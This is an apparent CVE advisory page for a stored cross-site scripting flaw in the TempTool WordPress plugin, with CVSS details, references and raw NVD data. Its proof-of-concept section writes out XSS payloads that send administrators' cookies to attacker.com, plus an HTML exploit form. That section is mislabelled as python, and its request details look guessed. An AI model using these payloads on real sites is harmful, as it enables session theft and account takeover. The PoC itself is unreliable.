CVE-2025-62926

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HappyDevs TempTool [Show Current Template Info] current-template-name allows Stored XSS.This issue affects TempTool [Show Current Template Info]: from n/a through <= 1.3.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

HappyDevs TempTool current-template-name <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-62926 PoC - Stored XSS in WordPress current-template-name plugin -->
<!-- Attack requires low-privilege account, triggers when admin views template info -->

<!-- Step 1: Inject XSS payload via template name field -->
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [authenticated user cookie]

action=save_template&template_name=<img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie>&nonce=[nonce]

<!-- Step 2: When admin visits page with template info, XSS executes -->
<!-- Payload: <script>fetch('https://attacker.com/steal?data='+btoa(document.cookie))</script> -->
<!-- Payload: <img src=x onerror=document.location='https://attacker.com/phishing?cookie='+document.cookie> -->

<!-- Simple HTML PoC for testing -->
<html>
<body>
<form action="http://target.com/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="save_template">
  <input type="hidden" name="template_name" value="<script>alert('XSS')</script>">
  <input type="submit" value="Exploit">
</form>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62926
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62926
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62926/
[4] VulDB https://vuldb.com/cve/CVE-2025-62926
[5] https://patchstack.com/database/Wordpress/Plugin/current-template-name/vulnerability/wordpress-temptool-show-current-template-info-plugin-1-3-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62926", "sourceIdentifier": "[email protected]", "published": "2025-12-21T22:15:48.657", "lastModified": "2026-04-23T15:34:48.297", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HappyDevs TempTool [Show Current Template Info] current-template-name allows Stored XSS.This issue affects TempTool [Show Current Template Info]: from n/a through <= 1.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/current-template-name/vulnerability/wordpress-temptool-show-current-template-info-plugin-1-3-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}